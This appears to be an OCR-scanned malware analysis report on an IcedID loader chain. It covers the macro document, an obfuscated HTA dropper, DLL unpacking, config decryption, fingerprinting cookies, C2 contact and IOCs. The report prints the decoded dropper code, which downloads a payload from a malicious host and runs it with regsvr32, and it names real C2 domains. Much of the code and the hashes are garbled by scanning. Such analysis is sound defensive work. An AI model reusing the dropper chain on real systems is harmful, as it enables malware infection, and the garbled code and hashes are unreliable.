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Introduction

IcedID , also known as BokBot, was among one of the most active malware families and has been
known for loading different types of payloads such as Cobalt Strike.

In this report, I'm going to walk through an analysis of a malicious document that distributes and
executes an IcedID DLL payload then, the malicious payload itself.

Our process divided to 3 stages (Entry stage + 1st stage + 2nd stage) but unfortunately, | can’t get
to the second stage because the C2 server is down. Here | will review some of the characteristics of
our different stages:

+ Entry stage: Malicious document executes VBA macro to download IcedID on the disk.

o First stage: Loader is executed and download the the real malware (C2 is down in this step)

» The Second: The malware for which this process was being performed is being executed and
this is something that is determined by the server administrator (Cobalt Strike for example).
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sha256: f604ca55de802334064610d65€23890ab81906cdac3f8a5¢c7c25126176289¢c8

I used olevba to extract the embedded script from the .doc file.
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C:\Users\IEuseriDesktop
A olevba.exe f684ca55de882+3340864618d65223898ab81986cdac3f8a5c7c25126176289c8. doc
olevba 8.54.2 on Python 2.7.16 - http://decalage.info/python/oletools

FILE: f6@dca55de8B2f334064610d65e23890ab81906cdac3tBabc/c25126176289c8.doc
Type: OpenXML

VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument®

Function contents()

With ActiveDocument.Content.Find

loveDoor = .Execute(FindText:="%1", ReplaceWith:="", Replace:=2)
End With

End Function

Function textl{powGirlload)

textl = ActiveDocument.BuiltInDocumentProperties(powGirlload).Value
contents

End Function

Public Function s{dowGirlload, tubeGirlPow)

GetObject("", textl("category™)). " rerolpxe\swodniw':c") + tubeGirlPow
End Function

VBA MACRO main.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/main’

Public Sub autoopen()

karolGirl = {ThisDocument . text1("keywords™]) )

ActiveDocument.SaveAs2 FileName:=karolGirl, FileFormat:=2

ThisDocument.s "", karolGirl

End Sub

Fmmmm i m e i e +
| Keyword |Description

Fommm e m o mm oo e o +

| AutoExec |autocopen |Runs when the Word document is opened |

| | exec |[May run an executable file or a system |

| | | command using Excel 4 Macros (XLM/XLF) |

| | StrReverse |May attempt to obfuscate specific strings |

| | | (use option --deobf to deobfuscate) |

| |Base6d Strings |Base6d-encoded strings were detected, may be |

| |used to obfuscate strings (option --decode to]

| |see all) |

|
|
Fommm e oo T +

| just want to point out that | used Exiftool to extract some meta data to understand the script:

-> Exiftool <filename.doc>
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Creator : iceh

Keywords : ath.uoYuoYlorak

Description :

Last Modified By : dplddoegl JIRIR- Il oo Windows

Revision Number =

Create Date : 1:12:15 99:¢
Modify Date ; 21:12:15% 99:9
Category : wscript.shell

When | opened the document, | found obfuscated content with white color and too small size. So, |
griped it and removed all %1 instances. This is some of code after beautifying:

p id='eval str' style='font-color: #0@8'>eval</p>

<p id='all_strings' style='font-color: #680@"'>fX17KWUoaGNOYWNS02Vzb2xjLmVraUx1a2lMdw950ykyICwiZ3BqLnVviXVveVxcY21lsYnVuXFxzcmVzdVxcOmMiKGVsaWZvdG
V2YXMuZWtpTGVraUx1b3k7KX1kb2J1c25vcHN1ci53bBRkYWIMZXZvbCh1dGlydy51a21MZWtpTHVveTsxID@gZXB5dC51a21MZWtpTHVve TtuZXBvLmVralx1a21MdW950ykibWF1cnRzL
mJkb2RhIiheY2vVqYkeYZXZpdGNBIHd1biA9IGVraUxla21MdW95IHIhdnt5cnR7KTAWMiA9PSBzdXRhdHMUd29EZGFvTGY2b2woZmk7KShkbmvzLndvRGRhbex1dm9sOyllc2xhZiAsIldS
TzIwbHZ6T1MyMm5DYWxnZWMSdVNURUIieFhCayYzWGpvWGZ1UVNQTD1PUINKPZR1emFoLzcyMDYOL3NGNOIQSEFZZzNNMXIHNES3bXVPOW1pN3Vzc2RWGShcUNXdVBKQWRENGQVV2R2YFV
2RFJIQdW11VTQWSORFT@XNOWZKRF1sZ1kxLzNHNmNIVGtWYTNsUmYzRKZjamx1UEpTWnFKa2pKY2Q4NHh5QmIGVWSviimhDenFkLzA4NDUzLzA10Dc1L@hvNzRSY@tuSec3Vexub31PL3VgNU
P3YUREWEWXMnkxTURCbVd5VEYydEdtNnhNa@ZwczBMZXRoVKY5eWEVZWhyZi9tb2Muc3Rzb3BvZGFub2RsYWOvLzpwdHRoIiAsI1RFRy IobmViwby53b@RKYWIMZXZvbDspInBedGhsbXguM
mxteHNtIiheY2VqYkoYZXZpdGNBIHd1biA9IHdVRGRhbOx1dm9sIHIhdg==---0ykiZ3BqLnVviXVveVxcY21sYnVwXFxzcmVzdVxcOmMgMjNydnNnZXIiKG51ci53b8Rsb3IhS3dveDspl
NnRjZWpib211dHN5c2VsaWYuZ25pdHBpemNzIih@Y2VqYk9YZXZpdGNBIHA1biA9T
GVraUx1la21sIHJhdjspImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldmleYeEgd2VuIDegd29EbGIyYUt3b3AgemF2</p>

d='base64' style='font-color: #fff'>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@123456789+/=</p>

powDoorNext = window;
karolDoorYou = document;

powDoorNext[ 'moveTo " ](-1¢ -102);
var str_array = retrieve('all strings’).split("---");
var strl = lovelikeload(str_array[@]);
var str2 = lovelikeload(str_array[1]);
>

- language="javascript'>
function youGirlDoor(powTubeNext){powDoorNext[retrieve('eval str')](powTubeNext);}

ipt language = ‘vbscript'>»
Call youGirlDoor(strl): Call yo

The main function for the whole script is decoding the 2 strings in the top of HTML code then
creates a connection with the server to download IcedID dll Loader. | cyberchef to getthese
strings.

Final results:
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var lovelLoadDow = new ActiveXObject("msxml2.xmlhttp™)

loveloadDow.open("GET",
"http://maldonadoposts.com/frhe/aydFVhtel@spFkMx6mGt2FTyWmBDM1y21LXDDawl5ju/OyoTLW7GKnKcR470H/5785@/35480/dqrChZonUFbB
yx48dclj ZSJPuljcFF3fR13aVkTHc6G3/1YglYDd FOMLOEDK@AUuiuPRDvSbvdW/ d4zdAJPukCganXcdssu7 im90umwhN7Gr1M3gYAHPB7js /46827 /h

azu4?dSSO=LP5QufXojX3&kBXxbBETSu=ceglaCn225Nzv1020RW", false)

lovel oadDow.send ()

if(loveloadDow.status == 200)
try
var youlLikelike = new ActiveXObject("adodb.stream™)
youlLikelike.open
youLikelike.type = 1
youLikelike.write(lovelLoadDow.responsebody)
youlLikelike.savetofile("c:\\users\\public\\youYou.jpg", 2

youlikel ike.close

var Active wscript = new ActiveXObject("wscript.shell™)
var likelike = new ActiveXObject("scripting.filesystemobject™)

Active wscript.run("regsvr32 c:\\users\\publich\\youYou.jpg")

First Stage

The main purpose of this stage is to drop the payload and it could be a real malware or another
dropper. This process depends on the malware developer and what he wants.

Let’s start the analysis with our dropped DLL payload. Dropped file is packed. | tried to upload it to
automatic unpacker umpac.me but it doesn’t support x64 binaries. Let's unpack in manually with
x64dbg.

The unpacking process is really simple. It allocates memory for the unpacked code using
VvirtualAlloc() . So we just set a breakpoint at virtualAlloc() and run the debugger twice,
then dump the file from memory.
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000007FEFD9318F0 38 VirtualAlloc
7FEFD9318F4 QWORD PTR S5: :
7FEFD9318F9 QWORD PTR SS:
7FEFD9318FE
7FEFD931901 JE kernel .7FEFD931910
7FEFD93 1
7FEFD93 A 16 kerne
7FEFD931910 FF CO
7FEFD93 4 DWORD PTR 55:
7FEFD93191¢ QWORD PTR S5S:
7FEFD93191 DWORD PTR S5:
7FEFD931923 QWORD PTR 55:
7FEFD931928
7FEFD93
QWORD PTR DS: | <&ZwAl locateVirtualMe
7FEFD931935
7FEFD931937 15 kernelbase.7FEFD94EBIC
7FEFD93193D QWORD PTR 55: +40
7FEFD931942 38

7FEFD93194
/FEFD93
7FEFD93
7FEFD93
/FEFD93
7FEFD93
7FEFD93
7FEFD93
i 7FEFD93194F
000007FEFD931950 : OpenThreadToken
7FEFD931954 dToken

@y Dump 1 | ¥4 Dump 2 | ¢4 Dump 3 % Watch 1 | ==l Locals

a...
L AR
is program canno
t be run in DOS
mode. ...
%hdpa ..
Ffq.c ...£
a ..H ..

Decrypt Config

The first function that malware performs, it decrypts C2 server and campaign number.

Malware uses a pretty simple decryption algorithm. It retrieves the encrypted data from .data
section then -> data[0:32] A data[64:96]

char _ fastcall sub 188802A1C(  int6d al)
1

unsigned _ inted i; // ré
__inted v2; [/ rcx
char *data; rdx
char config; [/ al

i = eied;
v2 = al - &enc_config;

d
1

data = &enc_config + i++;
config = *data * data[64];
data[v2 + 64] = config;

¥

while ( 1 < 32 );

return config;

¥

| wrote a python script to decrypt the config.
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import struct

#data[0:32]
data =
[6x55, 0x00, 0x29, 0x36, 0x84, 0x33, Ox8f, 0x67, 0x5d, Oxel, Ox1b, Oxcl, Ox4e, Oxe6, O0x17, Oxf5, 0x2b, 0x35, 0

#data[64:96]
key =
[0x16, 0x68,0x29, 0x53, Oxe2, 0x5a, Oxfd, 0x02, 0x33, 0x88, 0x78, Oxad, 0x3a, Ox94, 0x7e, 0x97, 0x47, 0x50,

res = bytearray()

for i in range(32):
res.append(data[i] A key[i])

print("CampaignID:", struct.unpack("<I", res[:4])[0])
print("C2:", res[4:].split(b'\x00')[0].decode())

Results
CampaignID: 1694525507
C2: firenicatrible.com

The first 4 bytes refer to Campaign number that shows the purpose of the attack. Second, C2
decryption.

Misleading traffic

The mawlare sends traffic to aws.amazon.com to mislead, and between the lines it sends a
request to the C2 to drop the malicious file.

lea r afwsAmazonCom
mov ' E
mow

lea

lea

mowv

mow

lea

mow

mowv

mowv

lea
lea
mow
mow
mowv

lseaasead
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= GET https://aws.amazon.com/ regsvri2.exe -

Remote address:
13.227.199.73:443

Request
GET / HTTP/1.1
Connection: Keep-Alive
Host: aws.amazon.com

Normal GET request to amazon to mislead the traffic

HTTP/1.1 288 OK

Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

Server: Serwver

Date: Wed, 15 Dec 2021 13:38:32 GMT
x-amz-rid: SA7032X82WSR8VYPDFKW
Set-Cookie: aws-priv=eyl2TjoxLCI1dST6MCwic3Qi0jBS; Version=1; Comment="Anonymous cookie for privacy regulations"; Domain=.aws.amazon.com; Max-Age=31536000; Expires=Thu, 15-Dec-
2022 13:30:32 GMT; Path=/

Set-Cookie: aws-csds-
token=eyJhbGci0ilIUzI1NiJS.eylleHAIOjE2Mzk1Nzg2MzIsInZpc21@b31talWQi0iI2Y2I1ZGYyNC1jOTQALWMyMmMENDYjMi@3NGUBZmNIM2QwM 11l CIpcCI6TJEINCA2MSA3MSAxMyT9 . NUnt7wI1BD4aKIFZunlnfX1i_wSrT
IsFAFWrLUL9Sc; Version=1; Comment="Anonymous metrics validation token"; Domain=.amazon.com; Max-Age=908; Expires=Wed, 15-Dec-2021 13:45:32 GMT; Path=/

Set-Cookie: aws_lang=en; Domain=.amazon.com; Path=/

X-Frame-Options: SAMEORIGIN

X-X55-Protection: 1; mode=block

Strict-Transpert-Security: max-age=300

X-Content-Type-Options: nosniff

x-amz-id-1: SA7832XB2WSRBVYPDFKW

Last-Modified: Tue, 14 Dec 2021 18:18:34 GMT

Content-Security-Policy-Report-Only: default-src *; connect-src *; font-src * data:; frame-src *; img-src * data:; media-src *; object-src *; script-src 'unsafe-eval' 'unsafe-
inline' *; style-src 'unsafe-inline' *; report-uri https://prod-us-west-2.csp-report.marketing.aws.dev/submit

Vary: accept-encoding,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent

Permissions-Policy: interest-cohort=()

X-Cache: Miss from cloudfront

Via: 1.1 697a26790d3abB8292d8546ca9%be87bbd. cloudfront.net (CloudFront)

X-Amz-Cf-Pop: AMS54-C1

X-Amz-Cf-Id: _wPAUETgctyMg7Edele5n@b7Mp3fbY6zUNSgWI46bqz4lezzh@35xg==

Playing with cookies

This is first impression when you look to the function which manipulating the request cookies.

my_get t
intFi( W ; : vlil) + v1@;
= mW_guery_sys

int \ 3 e _info) +

my_get cpu_infol
vl mJ_set parameters values
m+_set adapter value to gid

IcedID sends 6 parameters in cookies after manipulating them numerically. | will give you a
summary of them and why they are important then explain in details.

Name Value

_gads First DWORD from decoded config data(Campaign number), flag from inspecting server
certificate, number of milliseconds, sys info

_gat  Windows version info

_ga Processor info via CPUID including hypervisor brand if available
u Computername, Username and VM detection

_io Domain identifier from SID

_gid Based on physical address of NIC
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¢ Campaign number

| already explained it in the code above (Campaign number = 1694525507)

o flag

The value most of time = 1 because amazon server is always available

¢ VM detection
GetTickCount64 retrieves the number of milliseconds that have elapsed since the system
was started.
o System information

Retrieves the specified system information.

Address(Libraryf, "ZwQuerySystemInformation™);

h

wsprintfW(&al[vs + v4], L
v8 = mw_get native sys info();
return v7 + wsprintfl 1[v7], L

—9a
Check cpu:
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cpuid }

_RBX;
sub_1808881578();
result;

ComputerNameNetBIOS, Buf

strcpy(Buffer,
vl = mw_set value(al, L"; _u=", Buffer);

[r] A

r, &nSize)
strepy(Buffer,
vb = mw_set walue(s

1
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¢ VM detection

The last parameter is a bit tricky. | crossed reference the values then | found that:

Its common to use RDTSC to get fine-grained timing information, where the overhead of a
virtualization trap would be quite significant. Most common use is to have two RDTSC
instructions with a small amount of code between them, taking the difference of the times as
the elapsed time (number of cycles) for the code sequence.

But in our case, this malware sleeps 4 times instead of calling it twice.
_io
Check SID:

puterMameNetBIOS, Buffer, &nSize) )

64, Buffer, 0i64, &cbSid, Buffer, &nSize, pelUse) )

_gid

The GetAdaptersInfo function retrieves adapter information for the local computer.
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L )

LibraryA = Loadlibr:
GetAdaptersInfo

vb = GetAdaptersInfo;

sunk_1800070B0,
6) != 111 )
&unk_1800070B0,

Ivlé

return mﬁ_RDLf ] i funk 186007086,

vi + 1);

&unk_1800070B0,

HeapFree(wvll, )
return mw_ROL(al, i &unk_18660870B0,

vi3 = v1e;

The view from sandbox traffic.

Request

GET / HTTP/1.1

Connection: Keep-Alive

Cookie: _ gads=1694525567:1:259480:33; _gat=6.1.76@1.64; _pga=1.198354.1970169159.89; _u=51534B47484D5951:41646D696E : 34434638424133373532423534393437;
_ io=21_2329389628_4064185017_3901522362; _gid=16F5A73347B0

Host: firenicatrible.com

Now, the attacker knows almost all the information about the victim’s machine, and he is ready to
drop a suitable malware to start Stage2 depending on the campaign number that determines the
attack behavior.

Connect C2 server

In this step, malware connect to C2 server.
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vll = WinHttpConnect(v8, *al, *(al + 24), 8);

it wil)
{

vl2 = L"

vi3l = *

w

i\

GET
al + 28) = @ ? 0x300000 : O;
1+ 40) )
L"POS

{
\
=]

if (*
v1l2 55
Buffer = *(al + 28) != 0 ? OxB00000 : @;
vl3 = L11Fttﬂ )penRequest(vll, v12, *(al + 8), @i64, @ie4, Bi64, v23);
vld = vi13;
if ( vi3 )

{
*(al + 28) )

Buffer = 13856;
WinHttpSetOption(vl3, @x1Fu, &Buffer, 4u);

}

if ( WinHttpSendReque st(u14, *(al + 16), -(*(al + 16) != @ied), *(al + 32), *(al + 40), *(al + 40), 0ied)
&& WinHttpReceiveResponse(vld, 8i6d) )

{
dwBufferLength = 4;
v15 = WinHttpQueryHeaders(vl4, 0x28000013u, 0i6d, &v28, &dwBufferlength, B8ibd);
dwBufferlength = §;
v28 &= -v15;
vl6 = WinHttpQueryHeaders(vl4, 0x20000005u, 0i6d, &v25, &dwBufferlength, B8ibd);
v25 &= -vl6;

it drops the malicious file in c:\\Programbata\\ .

v5 = SHGetFolderPathA(@i64, 26, 0i64, @, Stringl);
vh "c:\\ProgramDatai\";
if ( Tv5 )
),6 Ll I'. '._ -
lstrcatA(Str 1ngi vE);
lstrcatA(Stringl, (al + 18));
CreateDirectoryA(Stringl, B8ifd);
lstrcatA(Stringl, (al + 42));
lstrepyA(a2, (al + 18));
lstrcatA(a2, (al + 42));
return mw_create the file(Stringl, (al + 718), v2);

FileA = CreateFileA(al, 6x40000666u, B, 8i6d, 2u, BxBBu, BiRd);
vb = Fileh;

result = @;

if ( FileA != -1isd )

WriteFile(FileA, a2, a3, &NumberOfByteskWritten, ©i64);
Handle(w6);

if ( Number(fBytesWritten == a3 )
return 1;

Unfortunately, This is the end of analysis because the server is down. My next report will be about
the second stage of the loader and an example of malware that can be downloaded from it. stay
tuned for more. “al ¢l )"

Conclusion
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1. Phishing mails drops malicious document

2. Malicious document runs VBS script

3. The script executes JavaScript code to drop dll file
4. dll file connects to C2 server

There are several steps you can take to protect against phishing:

+ Do not reply, even if you recognize the sender as a well-known business or financial
institution. If you have an account with this institution, contact them directly and ask them to
verify the information included in the email.

¢ Do not click any links provided in these emails.

+ Do not open any attachments. If you receive an attachment you are not expecting, confirm
with the senders that they did indeed send the message and meant to send an attachment.

* Do not enter your personal information or passwords on an untrusted Web site or form
referenced in this email.

¢ Delete the message.

I0OCs
Hash
e doc ->
f604ca55de802f334064610d65e23890ab81906cdac3f8a5¢c7¢25126176289¢8
e Packed dll ->

CFE2CAF566857C05A6A686CA296387C5E1BFDDAG6915FFOED984C1C53CD5192A3
o Unpacked dll ->
1A2A8F604B8E4917A7TES5A2A8994F748B59CA435C8AABCED3ED211C696B883BC4

URLs

¢ maldonadoposts.com
o firenicatrible.com

Files

 c:\users\public\youYou.jpg
e c:\users\%username%\documents\karolYouYou.hta
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